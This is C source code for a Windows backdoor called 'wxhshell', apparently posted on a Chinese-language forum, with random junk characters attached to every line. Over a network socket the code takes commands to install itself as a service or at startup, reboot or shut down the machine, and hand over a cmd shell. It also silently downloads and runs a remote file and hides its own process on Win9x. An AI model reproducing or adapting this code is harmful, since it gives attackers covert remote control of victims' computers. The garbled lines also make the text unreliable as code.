    switch(cmd[0]) { $ Y/9SD  
  ^X#y'odtbS  
  // 帮助 /{M<FVXK+|  
  case '?': { @[GV0*yz$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sNf& "C!;  
    break; Z6!Up1  
  } }Zhe%M=}G  
  // 安装 qi-XNB`b  
  case 'i': {  rxY|&!f  
    if(Install()) d {z[46>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o%d TcoCN  
    else c`6c)11K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J-W9Bamx  
    break; 4kOO3[r  
    } }nmlN  
  // 卸载 k.J%rRneN  
  case 'r': { [KDxB>R<{  
    if(Uninstall()) Y&|Z*s+ +}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c*USA eP  
    else K)Y& I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7 qKz_O  
    break; ?R`S-  
    } bcIae0LZ  
  // 显示 wxhshell 所在路径 eJDZ| $  
  case 'p': { |/.J{=E0K  
    char svExeFile[MAX_PATH]; W.wPy@yi  
    strcpy(svExeFile,"\n\r"); l#)X/(?;  
      strcat(svExeFile,ExeFile); D9rQ%|}S  
        send(wsh,svExeFile,strlen(svExeFile),0); s!6lZ mPM  
    break; wj[yo S  
    } Ky3mz w|  
  // 重启 -4Qub{Uym  
  case 'b': { /:|vJ|dJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ) u?f| D  
    if(Boot(REBOOT)) dQ:,pe7A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O\}C`CiC  
    else { u6iW1,#  
    closesocket(wsh); Mf5j'n  
    ExitThread(0); \Ne`9k  
    } HU0.)tD  
    break; 7>hcvML  
    } mh+T!v$[n)  
  // 关机 DP_b9o \5  
  case 'd': { BR|!ya+_2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g)Z8WH$;H3  
    if(Boot(SHUTDOWN)) $QbJT`,mr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "1o{mvCkR  
    else { j?T'N:Qd  
    closesocket(wsh); MGdzrcF  
    ExitThread(0); )W\)37=.  
    } )k<cd.MX  
    break; ixTjXl2g  
    } Z[O hZ 9  
  // 获取shell Upz)iOqLi  
  case 's': { 4[ uqsJB  
    CmdShell(wsh); 4:MvC^X~z  
    closesocket(wsh); t FU4%c7V  
    ExitThread(0); ~!uX"F8Xl  
    break; <H64L*,5'7  
  } ,%!m%+K9a  
  // 退出 @52#ZWy  
  case 'x': { C T~6T&'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1$cl "d`~  
    CloseIt(wsh); !Uiq3s`1T  
    break; Lf_Y4a#  
    } \((MoQ9Qk  
  // 离开  %:26v  
  case 'q': { <Bo\a3Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N^ +q^iW  
    closesocket(wsh); Mo/R+\u+Y  
    WSACleanup(); nD i^s{  
    exit(1); &%J{uRp  
    break; V#G)w~   
        } lpT&v ;$`  
  } UfW=/T  
  } # epP~J_f  
0E\#!L  
  // 提示信息 xMbgBx4+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qrMED_(D  
} |bk9< i ?  
  } #-|fdcb  
$f@YQN=  
  return; zw#n85=  
} u|KjoO   
stiF`l  
// shell模块句柄 jCY~Wc  
int CmdShell(SOCKET sock) !mv5i%3  
{ e&sH<hWR  
STARTUPINFO si; ^%!{qAp}Z  
ZeroMemory(&si,sizeof(si)); Y:CX RU6eD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; # WjQ'c:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~vTwuc\(H  
PROCESS_INFORMATION ProcessInfo; xLed];2G  
char cmdline[]="cmd"; |!FQQ(1b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y" =8wNbr  
  return 0; ##mZ97>$  
} ,X!)zAmm  
s.4+5rE  
// 自身启动模式 =!-}q  
int StartFromService(void) )>2L(~W  
{ &~2m@X(o  
typedef struct WIU]>_$.  
{ J4+WF#xI2  
  DWORD ExitStatus; nlpEkq  
  DWORD PebBaseAddress; =%8 yEb*5#  
  DWORD AffinityMask; FS}b9sQ)  
  DWORD BasePriority; ZtZ3I?%U3  
  ULONG UniqueProcessId; k, N{  
  ULONG InheritedFromUniqueProcessId; YPx+9^)  
}   PROCESS_BASIC_INFORMATION; YM`T"`f  
UIDeMz  
PROCNTQSIP NtQueryInformationProcess; P;"moluE;  
7:B/ ?E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U4 *u|A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N.mRay,  
=F|9 ac9X  
  HANDLE             hProcess; gcnX^[`S  
  PROCESS_BASIC_INFORMATION pbi; 2|x !~e.  
=?$~=1SL+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a/ uo)']B  
  if(NULL == hInst ) return 0; ?98!2:'{9  
q\@_L.tc[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MWme3u)D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wU|@fm"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LxIGPC~  
56 JQ h  
  if (!NtQueryInformationProcess) return 0; I?Iz5e-  
/e"iY F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1UK= t  
  if(!hProcess) return 0; TC-Vzk G|  
zg3kU65PJE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~*bfS}F8I  
O*v&C Hd3  
  CloseHandle(hProcess); z'l HL  
^vMlRt;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {U2AAQSa  
if(hProcess==NULL) return 0; $F^VtCx2&  
WP*}X7IS  
HMODULE hMod; ATqblU>D  
char procName[255]; $ (;:4  
unsigned long cbNeeded; :+6W%B  
;@=3 @v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C jf<,x$  
n 6 pJ]Ce  
  CloseHandle(hProcess); 9HO9>^  
3F]Dh^IR9  
if(strstr(procName,"services")) return 1; // 以服务启动 ;U>nj],uv  
p/ xlR[  
  return 0; // 注册表启动 Bc.de&Bxz_  
} ~588M 8~  
2Snb+,o2  
// 主模块 kr+p&|.  
int StartWxhshell(LPSTR lpCmdLine) 2`*w*  
{ Hmr f\(x  
  SOCKET wsl; }0pp"[JU  
BOOL val=TRUE; !.,J;Qt  
  int port=0; "<+~uz  
  struct sockaddr_in door; D&F{0  
%:'G={G`QH  
  if(wscfg.ws_autoins) Install(); rl 7up  
MoN0w.V  
port=atoi(lpCmdLine); |P]W#~Y-  
n[0u&m8  
if(port<=0) port=wscfg.ws_port; UH-873AK  
ymxA<bICS8  
  WSADATA data; *V hEl7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?'0!>EjY"  
3as=EYm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .F8[;+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ss%,  
  door.sin_family = AF_INET; > )< ?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hc'Pp{| X  
  door.sin_port = htons(port);  7qy PI  
T+nID@"36  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OM0r*<D"!  
closesocket(wsl); >\[]z^J  
return 1; 9no<;1+j,  
} sR1_L/.  
"W"^0To  
  if(listen(wsl,2) == INVALID_SOCKET) { BzS4:e<  
closesocket(wsl); 5h/,*p6Nje  
return 1; 0\:= KIY.  
} D<69xT,  
  Wxhshell(wsl); {EvT7W  
  WSACleanup(); }qM^J;uy  
'(@q"`n  
return 0; ':pDlUA  
~BuzI9~7P  
} w@^J.7h^  
jzV"(p!  
// 以NT服务方式启动 S?b&4\:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fge%6hu  
{ .4\I?  
DWORD   status = 0; eR \duZ!`  
  DWORD   specificError = 0xfffffff; 'r7[9[  
c ^ds|7i]a  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  q6F1Rt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GP c B(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?@4Mt2Z\  
  serviceStatus.dwWin32ExitCode     = 0; Zq 85q  
  serviceStatus.dwServiceSpecificExitCode = 0; a6n@   
  serviceStatus.dwCheckPoint       = 0; 9Of;8R  
  serviceStatus.dwWaitHint       = 0; + )Qu,%2   
|1!fuB A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T;(,9>Qsu  
  if (hServiceStatusHandle==0) return; U!q2bF<@  
Gt#r$.]W?o  
status = GetLastError(); ]:Ep1DIMl  
  if (status!=NO_ERROR) [<f2h-V$  
{ w>j5oz}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9< ?w9D.1  
    serviceStatus.dwCheckPoint       = 0; V.:,Q  
    serviceStatus.dwWaitHint       = 0; ^slIR!L  
    serviceStatus.dwWin32ExitCode     = status; dPu27 "  
    serviceStatus.dwServiceSpecificExitCode = specificError; "L]v:lg3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8*u'D@0  
    return; OU%"dmSDk  
  } C`[2B0  
E>QS^)ih  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o4p5`jOG@  
  serviceStatus.dwCheckPoint       = 0; 5%2~/ "  
  serviceStatus.dwWaitHint       = 0; s U`#hL6;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5V/&4$.U!  
} J.XkdGQ  
1R8tR#l  
// 处理NT服务事件,比如:启动、停止 &6CDIxH{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U>*@VOgB  
{ sZ=!*tb-  
switch(fdwControl) [!%5(Ro_  
{ 1R@G7m  
case SERVICE_CONTROL_STOP: *Hn=)q  
  serviceStatus.dwWin32ExitCode = 0; }}k%.Qb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JvXuN~fI{[  
  serviceStatus.dwCheckPoint   = 0; wp}Q4I  
  serviceStatus.dwWaitHint     = 0; Q<6* UUQm  
  { Fy5:|C N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )8^E{w^D}  
  } (enr{1  
  return; Wy-_}wqHg  
case SERVICE_CONTROL_PAUSE: _"p(/H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A v>v\ :.>  
  break; Os[z >H?  
case SERVICE_CONTROL_CONTINUE: -_9*BvS]R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OH>Gc-V  
  break; 0Md.3kY  
case SERVICE_CONTROL_INTERROGATE: Mo3%OR  
  break; !)oQ9,N  
}; uzQj+Po  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2<UC^vZ  
} cPZ\iGy  
1ik.|T<f0  
// 标准应用程序主函数 wclj9&k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 38&K"  
{ 4j0;okQWV'  
=C$"e4%Be  
// 获取操作系统版本 lGahwn:  
OsIsNt=GetOsVer(); mN{H^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); , SUx!o  
Z L0Vx6Ph  
  // 从命令行安装 &&$*MHJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); e%:vLE 9  
OD[=fR|cp  
  // 下载执行文件 :KC]1_zqR  
if(wscfg.ws_downexe) { [}Xw/@Uc;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MA9E??p3\  
  WinExec(wscfg.ws_filenam,SW_HIDE); @P0rNO %y  
} 7~"eT9W V  
jXmY8||w  
if(!OsIsNt) { +Goh`!$Rj9  
// 如果时win9x,隐藏进程并且设置为注册表启动 4#W$5_Ny  
HideProc(); 3bGU;2~}  
StartWxhshell(lpCmdLine); q@S \R 7R  
} {TJ "O  
else g'km*EV  
  if(StartFromService()) =_E$* }  
  // 以服务方式启动 ]7,0>  
  StartServiceCtrlDispatcher(DispatchTable); WllQM,h  
else 66B,Krz1n  
  // 普通方式启动 {pXX%>  
  StartWxhshell(lpCmdLine); mK7SEH;  
ORX<ZO t1  
return 0; Qg1kF^=  
}
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只看该作者 1 发表于: 2006-10-10
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